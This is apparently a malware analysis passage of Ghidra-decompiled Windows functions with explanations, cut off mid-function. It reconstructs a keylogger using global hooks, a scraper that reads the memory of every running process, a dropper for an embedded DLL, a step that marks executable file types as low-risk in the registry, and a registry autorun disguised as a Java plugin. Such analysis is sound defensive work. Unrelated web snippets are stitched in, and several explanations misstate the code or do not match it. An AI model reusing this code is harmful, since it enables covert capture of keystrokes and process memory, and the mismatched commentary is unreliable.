  SetLastError(0);
  RegOpenKeyExA((HKEY)0x80000002,s_Software\Microsoft\Windows\Curre_00408388,0,0xf003f,&local_10);
  DVar1 = GetLastError();
  if (DVar1 == 0) {
    local_8 = 0;
    RegSetValueExA(local_10,&DAT_004083cc,0,4,(BYTE *)&local_8,4);
    RegCloseKey(local_10);
  }
  return;
}

The ConfigureLowRiskFileTypes function is a malicious operation that modifies Windows registry settings to designate certain file types as low-risk, potentially bypassing security mechanisms. The function initiates by creating a registry key under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion, setting the low-risk file types to include .exe, .bat, .reg, and .vbs. It calculates the length of this string and uses it to set the LowRiskFileTypes value in the registry.

Once this setting is applied, the function attempts to open another registry key in the same hive to set a DWORD value, lowRiskFileTypeSetting, to 0. It then checks for the existence of a registry key under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion. If the key exists (indicated by a result of zero), it sets another DWORD value, also to 0. Importantly, both DAT_004083cc and DAT_0040837c contain the value 1806, which indicates that the settings allow for the launching of applications and unsafe files, effectively altering how the system handles these potentially dangerous file types. This behavior significantly lowers the security posture of the system, enabling the execution of malicious scripts and programs without triggering alerts or warnings.


void ConfigureLowRiskFileTypes(void)

{
  DWORD result;
  HKEY registryKey;
  DWORD disposition;
  undefined4 lowRiskFileTypeSetting;
  
  disposition = 0;
  RegCreateKeyExA((HKEY)0x80000001,s_Software\Microsoft\Windows\Curre_004082e0,0,(LPSTR)0x0,0,
                  0xf003f,(LPSECURITY_ATTRIBUTES)0x0,&registryKey,&disposition);
  result = lstrlenA(s_.exe;.bat;.reg;.vbs;_00408194);
  RegSetValueExA(registryKey,s_LowRiskFileTypes_00408320,0,1,(BYTE *)s_.exe;.bat;.reg;.vbs;_00408194
                 ,result);
  RegCloseKey(registryKey);
  RegOpenKeyExA((HKEY)0x80000001,s_Software\Microsoft\Windows\Curre_00408338,0,0xf003f,&registryKey)
  ;
  lowRiskFileTypeSetting = 0;
  RegSetValueExA(registryKey,&DAT_0040837c,0,4,(BYTE *)&lowRiskFileTypeSetting,4);
  RegCloseKey(registryKey);
  SetLastError(0);
  RegOpenKeyExA((HKEY)0x80000002,s_Software\Microsoft\Windows\Curre_00408388,0,0xf003f,&registryKey)
  ;
  result = GetLastError();
  if (result == 0) {
    lowRiskFileTypeSetting = 0;
    RegSetValueExA(registryKey,&DAT_004083cc,0,4,(BYTE *)&lowRiskFileTypeSetting,4);
    RegCloseKey(registryKey);
  }
  return;
}

De-Obfuscated Code

Managing the “Launching Applications and Unsafe Files” Setting
First published on TECHNET on Nov 27, 2007 We are often asked about the centralized management of Internet Explorer configuration options for which there are…

Function 12 (EnableDebugPrivilege)


void FUN_00401a10(void)

{
  HANDLE ProcessHandle;
  DWORD DesiredAccess;
  HANDLE *TokenHandle;
  _TOKEN_PRIVILEGES local_20;
  _LUID local_10;
  HANDLE local_8;
  
  TokenHandle = &local_8;
  DesiredAccess = 0x28;
  ProcessHandle = GetCurrentProcess();
  OpenProcessToken(ProcessHandle,DesiredAccess,TokenHandle);
  LookupPrivilegeValueA((LPCSTR)0x0,s_SeDebugPrivilege_004074c4,&local_10);
  local_20.PrivilegeCount = 1;
  local_20.Privileges[0].Luid.LowPart = local_10.LowPart;
  local_20.Privileges[0].Luid.HighPart = local_10.HighPart;
  local_20.Privileges[0].Attributes = 2;
  AdjustTokenPrivileges(local_8,0,&local_20,0x10,(PTOKEN_PRIVILEGES)0x0,(PDWORD)0x0);
  CloseHandle(local_8);
  return;
}

The EnableDebugPrivilege function is designed to grant the calling process the "SeDebugPrivilege," which allows the process to debug other processes on the system. This is typically reserved for applications that require elevated permissions for debugging or managing other processes.

The function starts by obtaining a handle to the current process with GetCurrentProcess(). It then defines the desired access level for the token associated with the process, specifically requesting the privilege level needed to manipulate the token (in this case, 0x28 or TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY - 0x0020 | 0x0008). The OpenProcessToken function is called to open the access token for the current process, allowing the function to modify its privileges.

Win32API/samples/sample_552.md at master · VFPX/Win32API
Provides documentation for calling hundreds of Win32API functions from VFP - VFPX/Win32API

Next, the function retrieves the locally unique identifier (LUID) for the SeDebugPrivilege using LookupPrivilegeValueA. It sets up a _TOKEN_PRIVILEGES structure to specify that the privilege count is one and populates it with the obtained LUID and an attribute indicating that the privilege is enabled. The AdjustTokenPrivileges function is then called to apply this change to the token. Finally, the token handle is closed with CloseHandle, completing the process of enabling the debug privilege for the calling process.


void EnableDebugPrivilege(void)

{
  HANDLE ProcessHandle;
  DWORD DesiredAccess;
  HANDLE *TokenHandle;
  _TOKEN_PRIVILEGES tokenPrivileges;
  _LUID luidSeDebugPrivilege;
  HANDLE tokenHandleValue;
  
  TokenHandle = &tokenHandleValue;
  DesiredAccess = 0x28;
  ProcessHandle = GetCurrentProcess();
  OpenProcessToken(ProcessHandle,DesiredAccess,TokenHandle);
  LookupPrivilegeValueA((LPCSTR)0x0,s_SeDebugPrivilege_004074c4,&luidSeDebugPrivilege);
  tokenPrivileges.PrivilegeCount = 1;
  tokenPrivileges.Privileges[0].Luid.LowPart = luidSeDebugPrivilege.LowPart;
  tokenPrivileges.Privileges[0].Luid.HighPart = luidSeDebugPrivilege.HighPart;
  tokenPrivileges.Privileges[0].Attributes = 2;
  AdjustTokenPrivileges(tokenHandleValue,0,&tokenPrivileges,0x10,(PTOKEN_PRIVILEGES)0x0,(PDWORD)0x0)
  ;
  CloseHandle(tokenHandleValue);
  return;
}

Function 13 (GenerateGlobalString)


void __cdecl FUN_00401860(char *param_1,int param_2)

{
  DWORD newGlobalValue;
  int iVar1;
  int local_8;
  
  local_8 = 0;
  newGlobalValue = GetTickCount();
  SetGlobalDataValue(newGlobalValue);
  for (; local_8 < param_2; local_8 = local_8 + 1) {
    iVar1 = UpdateGlobalDataValue();
    *param_1 = (char)(iVar1 % 0x19) + 'a';
    param_1 = param_1 + 1;
  }
  *param_1 = '\0';
  return;
}

The function GenerateGlobalString generates a string of specified length, filling it with characters derived from global data. It begins by retrieving the current tick count using GetTickCount() and updates a global variable with this value via SetGlobalDataValue(). It then iterates from 0 to length - 1, updating the global data through UpdateGlobalDataValue(), and calculates a character by taking the updated value modulo 25 (with the result adjusted to map to the letters 'a' through 't'). Each character is stored sequentially in the provided output string. Finally, the function null-terminates the string to ensure it is properly formatted for string handling in C.


void __cdecl GenerateGlobalString(char *outputString,int length)

{
  DWORD currentTickCount;
  int updatedValue;
  int index;
  
  index = 0;
  currentTickCount = GetTickCount();
  SetGlobalDataValue(currentTickCount);
  for (; index < length; index = index + 1) {
    updatedValue = UpdateGlobalDataValue();
    *outputString = (char)(updatedValue % 0x19) + 'a';
    outputString = outputString + 1;
  }
  *outputString = '\0';
  return;
}

Function 14 (Base64Encode)


void __cdecl Base64Encode(byte *inputBuffer,int inputLength,char *outputBuffer,int outputLength)

{
  char *pcVar1;
  int nextInputIndex;
  int currentInputIndex;
  char paddingChar;
  
  while ((pcVar1 = outputBuffer, inputLength != 0 && (outputLength != 0))) {
    *outputBuffer = s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_004073a8[(int)(uint)*inputBuffer >> 2];
    pcVar1 = outputBuffer + 1;
    if (outputLength == 1) break;
    if (inputLength == 1) {
      currentInputIndex = 0;
    }
    else {
      currentInputIndex = (int)(uint)inputBuffer[1] >> 4;
    }
    outputBuffer[1] =
         s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_004073f0
         [(uint)*inputBuffer * 0x10 + currentInputIndex & 0x3f];
    pcVar1 = outputBuffer + 2;
    if (outputLength == 2) break;
    if (inputLength == 1) {
      paddingChar = '=';
      inputLength = 0;
    }
    else {
      inputLength = inputLength + -2;
      if (inputLength == 0) {
        nextInputIndex = 0;
      }
      else {
        nextInputIndex = (int)(uint)inputBuffer[2] >> 6;
      }
      paddingChar = s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_00407438
                    [nextInputIndex + (uint)inputBuffer[1] * 4 & 0x3f];
    }
    outputBuffer[2] = paddingChar;
    pcVar1 = outputBuffer + 3;
    if (outputLength == 3) break;
    if (inputLength == 0) {
      paddingChar = '=';
    }
    else {
      paddingChar = s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_00407480[inputBuffer[2] & 0x3f];
    }
    outputBuffer[3] = paddingChar;
    outputBuffer = outputBuffer + 4;
    outputLength = outputLength + -4;
    pcVar1 = outputBuffer;
    if (outputLength == 0) break;
    if (inputLength != 0) {
      inputLength = inputLength + -1;
    }
    if (inputLength != 0) {
      inputBuffer = inputBuffer + 3;
    }
  }
  outputBuffer = pcVar1;
  *outputBuffer = '\0';
  return;
}

The Base64Encode function performs Base64 encoding on a given input byte buffer. The function accepts four parameters: a pointer to the input byte array, the length of that array, a pointer to the output character array where the encoded data will be stored, and the length of the output buffer. The function continuously processes the input data in groups of three bytes at a time, converting them into four Base64 characters according to the Base64 encoding scheme.

The function utilizes predefined Base64 character tables, represented by s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_004073a8, s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_004073f0, s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_00407438, and s_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef_00407480. It handles special cases for padding characters ('=') when the input length is not a multiple of three. The encoded output is constructed in the specified output buffer, which is null-terminated at the end of the encoding process. The function ensures that the encoding respects the input and output lengths, managing boundaries effectively to avoid buffer overflows.

Function 15 (InitializeHookAndLogging) Keylogging Function


void FUN_004058c0(void)

{
  HMODULE hModule;
  HOOKPROC lpfn;
  HOOKPROC lpfn_00;
  DWORD DVar1;
  DWORD DVar2;
  CHAR local_10c [260];
  undefined4 local_8;
  
  FUN_004057d0();
  hModule = LoadLibraryA(s_SecureDll.dll_00409100);
  local_8 = 1;
  lpfn = (HOOKPROC)GetProcAddress(hModule,(LPCSTR)0x1);
  local_8 = 2;
  lpfn_00 = (HOOKPROC)GetProcAddress(hModule,(LPCSTR)0x2);
  memset_fun(local_10c,0,0xff);
  memset_fun(&DAT_00409fa0,0,0xff);
  memset_fun(&DAT_004099e0,0,0xff);
  GetCurrentDirectoryA(0xff,local_10c);
  wsprintfA(&DAT_00409fa0,s_%s\%s_0040911c,local_10c,s_strokes.log_00409110);
  wsprintfA(&DAT_004099e0,s_%s\%s_0040912c,local_10c,s_tmp.log_00409124);
  DVar2 = 1;
  DVar1 = lstrlenA(&DAT_00409fa0);
  FUN_00401da0(&DAT_00409134,&DAT_00409fa0,DVar1,DVar2);
  DVar2 = 1;
  DVar1 = lstrlenA(&DAT_004099e0);
  FUN_00401da0(&DAT_0040913c,&DAT_004099e0,DVar1,DVar2);
  SetWindowsHookExA(2,lpfn,hModule,0);
  SetWindowsHookExA(3,lpfn_00,hModule,0);
  return;
}

The function InitializeHookAndLogging sets up hooks for keyboard and mouse events by loading a DLL (likely containing hook procedures) and retrieves function pointers for those hooks. It initializes logging paths for storing input data, writes these paths to the Windows registry, and uses the SetWindowsHookExA function to establish global hooks for monitoring keyboard and mouse events. The overall purpose is to capture user input (keystrokes and mouse activity) and log it to specified files, which are indicated by paths that are dynamically constructed based on the current directory. This appears to be a keylogger


void InitializeHookAndLogging(void)

{
  HMODULE secureDllHandle;
  HOOKPROC keyboardHookProc;
  HOOKPROC mouseHookProc;
  DWORD lengthOfLogPath;
  CHAR currentDirectoryBuffer [260];
  undefined4 hookStatus;
  DWORD logAction;
  
  ExtractAndWriteResourceToFile();
  secureDllHandle = LoadLibraryA(s_SecureDll.dll_00409100);
  hookStatus = 1;
  keyboardHookProc = (HOOKPROC)GetProcAddress(secureDllHandle,(LPCSTR)0x1);
  hookStatus = 2;
  mouseHookProc = (HOOKPROC)GetProcAddress(secureDllHandle,(LPCSTR)0x2);
  memset_fun(currentDirectoryBuffer,0,0xff);
  memset_fun(&logPathForStrokes,0,0xff);
  memset_fun(&logPathForTemp,0,0xff);
  GetCurrentDirectoryA(0xff,currentDirectoryBuffer);
  wsprintfA(&logPathForStrokes,s_%s\%s_0040911c,currentDirectoryBuffer,s_strokes.log_00409110);
  wsprintfA(&logPathForTemp,s_%s\%s_0040912c,currentDirectoryBuffer,s_tmp.log_00409124);
  logAction = 1;
  lengthOfLogPath = lstrlenA(&logPathForStrokes);
  WriteRegistryValue(&registryPathForStrokes,&logPathForStrokes,lengthOfLogPath,logAction);
  logAction = 1;
  lengthOfLogPath = lstrlenA(&logPathForTemp);
  WriteRegistryValue(&registryPathForTemp,&logPathForTemp,lengthOfLogPath,logAction);
  SetWindowsHookExA(2,keyboardHookProc,secureDllHandle,0);
  SetWindowsHookExA(3,mouseHookProc,secureDllHandle,0);
  return;
}

Function 17 (ExtractAndWriteResourceToFile)

void FUN_004057d0(void)

{
  HRSRC hResInfo;
  DWORD local_1c;
  HANDLE local_18;
  LPVOID local_14;
  LPVOID local_10;
  HGLOBAL local_c;
  DWORD local_8;
  
  hResInfo = FindResourceA(currentModuleHandle,&DAT_004090ec,(LPCSTR)0x3);
  local_8 = SizeofResource(currentModuleHandle,hResInfo);
  local_c = LoadResource(currentModuleHandle,hResInfo);
  local_14 = LockResource(local_c);
  local_10 = VirtualAlloc((LPVOID)0x0,local_8 * 3,0x1000,4);
  (*rtl_decompress_buffer_proc_address)(0x102,local_10,local_8 * 3,local_14,local_8,&local_8);
  local_18 = CreateFileA(s_SecureDll.dll_004090f0,0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,2,
                         (HANDLE)0x0);
  local_1c = 0;
  WriteFile(local_18,local_10,local_8,&local_1c,(LPOVERLAPPED)0x0);
  CloseHandle(local_18);
  VirtualFree(local_10,0,0x8000);
  return;
}

The ExtractAndWriteResourceToFile function exhibits malicious behavior through data exfiltration. It extracts a resource from the current module (such as a DLL or executable) and writes it to a file without user consent or awareness. The function systematically locates a resource using FindResourceA, loads it, and locks it to access its data. It then allocates memory to decompress this data, which is processed and written to a file named SecureDll.dll, potentially disguising its true purpose. This operation could be used to steal sensitive information or execute unauthorized code, highlighting the function's intent to manipulate resources covertly.


void ExtractAndWriteResourceToFile(void)

{
  HRSRC resourceHandle;
  DWORD bytesWritten;
  HANDLE fileHandle;
  LPVOID lockedResource;
  LPVOID decompressedBuffer;
  HGLOBAL resourceDataHandle;
  DWORD resourceSize;
  
  resourceHandle = FindResourceA(currentModuleHandle,&DAT_004090ec,(LPCSTR)0x3);
  resourceSize = SizeofResource(currentModuleHandle,resourceHandle);
  resourceDataHandle = LoadResource(currentModuleHandle,resourceHandle);
  lockedResource = LockResource(resourceDataHandle);
  decompressedBuffer = VirtualAlloc((LPVOID)0x0,resourceSize * 3,0x1000,4);
  (*rtl_decompress_buffer_proc_address)
            (0x102,decompressedBuffer,resourceSize * 3,lockedResource,resourceSize,&resourceSize);
  fileHandle = CreateFileA(s_SecureDll.dll_004090f0,0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,2,
                           (HANDLE)0x0);
  bytesWritten = 0;
  WriteFile(fileHandle,decompressedBuffer,resourceSize,&bytesWritten,(LPOVERLAPPED)0x0);
  CloseHandle(fileHandle);
  VirtualFree(decompressedBuffer,0,0x8000);
  return;
}

Function 17


void __cdecl FUN_00401da0(LPCSTR param_1,BYTE *param_2,DWORD param_3,DWORD param_4)

{
  HKEY local_8;
  
  local_8 = (HKEY)0x0;
  RegOpenKeyExA((HKEY)0x80000001,s_Software\HelperSolutions_Softwar_00407100,0,2,&local_8);
  if (local_8 != (HKEY)0x0) {
    RegSetValueExA(local_8,param_1,0,param_4,param_2,param_3);
    RegCloseKey(local_8);
  }
  return;
}

The WriteRegistryValue function performs a malicious activity by editing the Windows Registry to establish persistence for potentially harmful software. It opens a specific registry key under HKEY_LOCAL_MACHINE\Software\HelperSolutions_Softwar_00407100 with KEY_SET_VALUE access, allowing it to modify the registry values. By writing data directly to the registry, the function can ensure that its modifications persist across system reboots, enabling unauthorized changes or configurations that could facilitate ongoing malicious activities. This method of leveraging registry edits poses significant risks, as it can undermine system integrity and security.


void __cdecl
WriteRegistryValue(LPCSTR valueName,BYTE *valueData,DWORD valueDataSize,DWORD valueType)

{
  HKEY registryKeyHandle;
  
  registryKeyHandle = (HKEY)0x0;
  RegOpenKeyExA((HKEY)0x80000001,s_Software\HelperSolutions_Softwar_00407100,0,2,&registryKeyHandle)
  ;
  if (registryKeyHandle != (HKEY)0x0) {
    RegSetValueExA(registryKeyHandle,valueName,0,valueType,valueData,valueDataSize);
    RegCloseKey(registryKeyHandle);
  }
  return;
}

Function 18 (MonitorAndExtractMemory)


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 FUN_00404130(void)

{
  int iVar1;
  SIZE_T local_44;
  uint local_3c;
  LPCVOID local_38;
  int local_34;
  HANDLE local_30;
  HANDLE local_2c;
  LPCWSTR local_28;
  _MEMORY_BASIC_INFORMATION local_24;
  LPCVOID local_8;
  
  memset_fun(&DAT_004095c0,0,0x128);
  _DAT_004095c0 = 0x128;
  local_30 = (HANDLE)CreateToolhelp32Snapshot(2,0);
  Process32First(local_30,&DAT_004095c0);
  do {
    iVar1 = FUN_00405780(&DAT_004095e4);
    if (((iVar1 != 1) && (current_process_id != DAT_004095c8)) &&
       (current_process_id != DAT_004095d8)) {
      local_2c = (HANDLE)0x0;
      Sleep(10);
      local_2c = OpenProcess(0x410,0,DAT_004095c8);
      if (local_2c != (HANDLE)0x0) {
        if ((compressionWorkspaceAvailable == 1) &&
           ((*DAT_004099d0)(local_2c,&local_34), local_34 == 0)) {
          CloseHandle(local_2c);
        }
        else {
          local_38 = (LPCVOID)0x0;
          while( true ) {
            memset_fun((undefined *)&local_24,0,0x1c);
            VirtualQueryEx(local_2c,local_38,&local_24,0x1c);
            if ((local_24.BaseAddress == (LPCVOID)0x0) && (local_38 != (LPCVOID)0x0)) break;
            local_38 = (LPCVOID)((int)local_38 + local_24.RegionSize);
            if (((local_24.Protect & 1) == 0) && ((local_24.Protect & 0x100) == 0)) {
              local_8 = (LPCVOID)0x0;
              while (local_24.RegionSize != 0) {
                if (local_8 == (LPCVOID)0x0) {
                  local_8 = local_24.BaseAddress;
                }
                else {
                  local_8 = (LPCVOID)((int)local_8 + 0x64000);
                }
                if (local_24.RegionSize < 0x64001) {
                  local_44 = local_24.RegionSize;
                  local_24.RegionSize = 0;
                }
                else {
                  local_44 = 0x64000;
                  local_24.RegionSize = local_24.RegionSize - 0x64000;
                }
                local_3c = 0;
                local_28 = allocatedMemoryBuffer1;
                ReadProcessMemory(local_2c,local_8,allocatedMemoryBuffer1,local_44,&local_3c);
                FUN_00404ad0(local_28,local_3c);
              }
            }
          }
          CloseHandle(local_2c);
        }
      }
    }
    iVar1 = Process32Next(local_30,&DAT_004095c0);
  } while (iVar1 != 0);
  CloseHandle(local_30);
  return 0;
}

The MonitorAndExtractMemory function engages in malicious activity by systematically monitoring and extracting memory data from various processes on the system. It begins by creating a snapshot of all running processes and iteratively checks each process against specific criteria defined in the CheckProcessCondition function. If a process meets these criteria, it opens the process with access rights that allow for memory manipulation and then queries the memory regions to identify accessible areas that are not protected.

Once the function identifies suitable memory regions, it reads data from these areas in chunks, storing the information in a buffer for further processing. This capability to extract memory content from potentially sensitive processes poses a significant security risk, as it may lead to unauthorized data access and exfiltration of sensitive information, undermining the integrity of the system and potentially allowing for exploitation of the extracted data..


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 MonitorAndExtractMemory(void)

{
  int processIterationResult;
  SIZE_T bytesRead;
  uint readBytesCount;
  LPCVOID currentMemoryAddress;
  int memoryProtectionStatus;
  HANDLE snapshotHandle;
  HANDLE processHandle;
  LPCWSTR processInfo;
  _MEMORY_BASIC_INFORMATION memoryInfo;
  LPCVOID allocatedMemoryAddress;
  
  memset_fun(&processInfoBuffer,0,0x128);
  _processInfoBuffer = 0x128;
  snapshotHandle = (HANDLE)CreateToolhelp32Snapshot(2,0);
  Process32First(snapshotHandle,&processInfoBuffer);
  do {
    processIterationResult = CheckProcessName(&processConditionBuffer);
    if (((processIterationResult != 1) && (current_process_id != processIdBuffer1)) &&
       (current_process_id != DAT_004095d8)) {
      processHandle = (HANDLE)0x0;
      Sleep(10);
      processHandle = OpenProcess(0x410,0,processIdBuffer1);
      if (processHandle != (HANDLE)0x0) {
        if ((compressionWorkspaceAvailable == 1) &&
           ((*DAT_004099d0)(processHandle,&memoryProtectionStatus), memoryProtectionStatus == 0)) {
          CloseHandle(processHandle);
        }
        else {
          currentMemoryAddress = (LPCVOID)0x0;
          while( true ) {
            memset_fun((undefined *)&memoryInfo,0,0x1c);
            VirtualQueryEx(processHandle,currentMemoryAddress,&memoryInfo,0x1c);
            if ((memoryInfo.BaseAddress == (LPCVOID)0x0) && (currentMemoryAddress != (LPCVOID)0x0))
            break;
            currentMemoryAddress = (LPCVOID)((int)currentMemoryAddress + memoryInfo.RegionSize);
            if (((memoryInfo.Protect & 1) == 0) && ((memoryInfo.Protect & 0x100) == 0)) {
              allocatedMemoryAddress = (LPCVOID)0x0;
              while (memoryInfo.RegionSize != 0) {
                if (allocatedMemoryAddress == (LPCVOID)0x0) {
                  allocatedMemoryAddress = memoryInfo.BaseAddress;
                }
                else {
                  allocatedMemoryAddress = (LPCVOID)((int)allocatedMemoryAddress + 0x64000);
                }
                if (memoryInfo.RegionSize < 0x64001) {
                  bytesRead = memoryInfo.RegionSize;
                  memoryInfo.RegionSize = 0;
                }
                else {
                  bytesRead = 0x64000;
                  memoryInfo.RegionSize = memoryInfo.RegionSize - 0x64000;
                }
                readBytesCount = 0;
                processInfo = allocatedMemoryBuffer1;
                ReadProcessMemory(processHandle,allocatedMemoryAddress,allocatedMemoryBuffer1,
                                  bytesRead,&readBytesCount);
                ProcessWideStringWithFlags(processInfo,readBytesCount);
              }
            }
          }
          CloseHandle(processHandle);
        }
      }
    }
    processIterationResult = Process32Next(snapshotHandle,&processInfoBuffer);
  } while (processIterationResult != 0);
  CloseHandle(snapshotHandle);
  return 0;
}

Function 19 (CheckProcessName)


undefined4 __cdecl FUN_00405780(LPCSTR param_1)

{
  int iVar1;
  int local_8;
  
  local_8 = 0;
  while( true ) {
    if ((&PTR_s_wmiprvse.exe_00408da0)[local_8] == (undefined *)0x0) {
      return 0;
    }
    iVar1 = lstrcmpiA(param_1,(&PTR_s_wmiprvse.exe_00408da0)[local_8]);
    if (iVar1 == 0) break;
    local_8 = local_8 + 1;
  }
  return 1;
}

The CheckProcessName function engages in a potentially malicious activity by checking if a specified process name matches entries in a predefined list, which is likely designed to identify and target specific processes, including potentially malicious ones like "wmiprvse.exe." By iterating through this list and performing case-insensitive comparisons, the function can determine if the given process is of interest for further monitoring or manipulation.

This capability suggests an intent to selectively monitor or interact with processes deemed suspicious or harmful, enabling the malware to take action based on the presence of these processes. Such functionality poses significant security risks, as it can facilitate targeted attacks, unauthorized data access, or process termination, ultimately undermining system integrity and user security.


undefined4 __cdecl CheckProcessName(LPCSTR processName)

{
  int comparisonResult;
  int index;
  
  index = 0;
  while( true ) {
    if ((&PTR_s_wmiprvse.exe_00408da0)[index] == (undefined *)0x0) {
      return 0;
    }
    comparisonResult = lstrcmpiA(processName,(&PTR_s_wmiprvse.exe_00408da0)[index]);
    if (comparisonResult == 0) break;
    index = index + 1;
  }
  return 1;
}

Function 20


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 MonitorAndExtractMemory(void)

{
  int processIterationResult;
  SIZE_T bytesRead;
  uint readBytesCount;
  LPCVOID currentMemoryAddress;
  int memoryProtectionStatus;
  HANDLE snapshotHandle;
  HANDLE processHandle;
  LPCWSTR processInfo;
  _MEMORY_BASIC_INFORMATION memoryInfo;
  LPCVOID allocatedMemoryAddress;
  
  memset_fun(&processInfoBuffer,0,0x128);
  _processInfoBuffer = 0x128;
  snapshotHandle = (HANDLE)CreateToolhelp32Snapshot(2,0);
  Process32First(snapshotHandle,&processInfoBuffer);
  do {
    processIterationResult = CheckProcessName(&processConditionBuffer);
    if (((processIterationResult != 1) && (current_process_id != processIdBuffer1)) &&
       (current_process_id != DAT_004095d8)) {
      processHandle = (HANDLE)0x0;
      Sleep(10);
      processHandle = OpenProcess(0x410,0,processIdBuffer1);
      if (processHandle != (HANDLE)0x0) {
        if ((compressionWorkspaceAvailable == 1) &&
           ((*DAT_004099d0)(processHandle,&memoryProtectionStatus), memoryProtectionStatus == 0)) {
          CloseHandle(processHandle);
        }
        else {
          currentMemoryAddress = (LPCVOID)0x0;
          while( true ) {
            memset_fun((undefined *)&memoryInfo,0,0x1c);
            VirtualQueryEx(processHandle,currentMemoryAddress,&memoryInfo,0x1c);
            if ((memoryInfo.BaseAddress == (LPCVOID)0x0) && (currentMemoryAddress != (LPCVOID)0x0))
            break;
            currentMemoryAddress = (LPCVOID)((int)currentMemoryAddress + memoryInfo.RegionSize);
            if (((memoryInfo.Protect & 1) == 0) && ((memoryInfo.Protect & 0x100) == 0)) {
              allocatedMemoryAddress = (LPCVOID)0x0;
              while (memoryInfo.RegionSize != 0) {
                if (allocatedMemoryAddress == (LPCVOID)0x0) {
                  allocatedMemoryAddress = memoryInfo.BaseAddress;
                }
                else {
                  allocatedMemoryAddress = (LPCVOID)((int)allocatedMemoryAddress + 0x64000);
                }
                if (memoryInfo.RegionSize < 0x64001) {
                  bytesRead = memoryInfo.RegionSize;
                  memoryInfo.RegionSize = 0;
                }
                else {
                  bytesRead = 0x64000;
                  memoryInfo.RegionSize = memoryInfo.RegionSize - 0x64000;
                }
                readBytesCount = 0;
                processInfo = allocatedMemoryBuffer1;
                ReadProcessMemory(processHandle,allocatedMemoryAddress,allocatedMemoryBuffer1,
                                  bytesRead,&readBytesCount);
                ProcessWideStringWithFlags(processInfo,readBytesCount);
              }
            }
          }
          CloseHandle(processHandle);
        }
      }
    }
    processIterationResult = Process32Next(snapshotHandle,&processInfoBuffer);
  } while (processIterationResult != 0);
  CloseHandle(snapshotHandle);
  return 0;
}

The ConnectAndSendRequest function is a networking utility that establishes HTTP connections to a list of server addresses and sends requests to each server. It initializes local variables, including a User-Agent string, which it retrieves via ObtainUserAgentString or defaults to Mozilla/4.0 (compatible; MSIE 7.0) if empty. It attempts to open an internet connection using InternetOpenA, retrying every 60 seconds upon failure. The function iterates through server addresses using InternetConnectA and, if successful, sends an HTTP request via HttpSendRequestA. Upon receiving a valid response, it processes the data, cleans up any resources, and loops back to try the next server. Key functions utilized include InternetCloseHandle, SetEvent, and WaitForSingleObject, which manage resource cleanup and synchronization. Important notes include the handling of the response buffer and server connection status, as well as the indefinite loop structure that continues until explicitly terminated.

Threads

  threadHandle1 =
       CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,ContinuousMemoryMonitoring,(LPVOID)0x0,0,
                    (LPDWORD)0x0);
  threadHandle2 =
       CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,MonitorJavaPluginRegistry,(LPVOID)0x0,0,
                    (LPDWORD)0x0);
  threadHandle3 =
       CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,MonitorProcessVersion,(LPVOID)0x0,0,(LPDWORD)0x0);
  CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,InitializeShutdownDetection,(LPVOID)0x0,0,(LPDWORD)0x0);
  CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,EventWaitAndSignal,(LPVOID)0x0,0,(LPDWORD)0x0);
  ConnectAndSendRequest();

Threads Spawned by program

The snippet of code demonstrates malicious activity by creating multiple threads to perform various monitoring and potentially intrusive actions within the system. Each CreateThread function call initiates a separate thread for functions such as ContinuousMemoryMonitoring, MonitorJavaPluginRegistry, and MonitorProcessVersion, suggesting that the malware is designed to continuously observe memory and specific processes, which may indicate an intent to exploit vulnerabilities or extract sensitive information from the targeted applications.

Additionally, the presence of threads like InitializeShutdownDetection and EventWaitAndSignal indicates a sophisticated mechanism for maintaining persistence and controlling system behavior, possibly preventing the user from terminating the malicious operations. This multi-threaded approach enhances the malware's capability to operate stealthily and effectively, further threatening system security and user privacy by enabling unauthorized monitoring and data exfiltration.


/* WARNING: Removing unreachable block (ram,0x004040c7) */

void ContinuousMemoryMonitoring(void)

{
  do {
    MonitorAndExtractMemory();
    Sleep(shortTimeoutDuration);
  } while( true );
}

The ContinuousMemoryMonitoring function implements an infinite loop that repeatedly calls MonitorAndExtractMemory(), which is responsible for monitoring and extracting memory-related information or data. After each invocation, the function pauses execution for a specified duration (shortTimeoutDuration) using the Sleep function. This structure ensures that memory monitoring occurs continuously with regular intervals, allowing for real-time analysis or detection of memory-related events or anomalies.


/* WARNING: Removing unreachable block (ram,0x004037ab) */

void MonitorJavaPluginRegistry(void)

{
  int iVar1;
  HANDLE hHandle;
  uint local_14;
  HKEY local_10 [3];
  
  iVar1 = lstrlenW((LPCWSTR)&javaPluginExecutableBackupPath);
  memset_fun((undefined *)local_10,0,0xc);
  RegOpenKeyExA((HKEY)0x80000002,s_Software\Microsoft\Windows\Curre_00407efc,0,0xf003f,local_10);
  local_14 = (uint)(local_10[0] != (HKEY)0x0);
  RegOpenKeyExA((HKEY)0x80000003,s_.DEFAULT\SOFTWARE\Microsoft\Wind_00407f2c,0,0xf003f,
                local_10 + local_14);
  if (local_10[local_14] != (HKEY)0x0) {
    local_14 = local_14 + 1;
  }
  RegOpenKeyExA((HKEY)0x80000001,s_Software\Microsoft\Windows\Curre_00407efc,0,0xf003f,
                local_10 + local_14);
  local_14 = 0;
  hHandle = CreateEventA((LPSECURITY_ATTRIBUTES)0x0,0,0,(LPCSTR)0x0);
  for (; local_10[local_14] != (HKEY)0x0; local_14 = local_14 + 1) {
    RegSetValueExW(local_10[local_14],u_Sun_Java_Security_Plugin_004083d4,0,1,
                   &javaPluginExecutableBackupPath,iVar1 << 1);
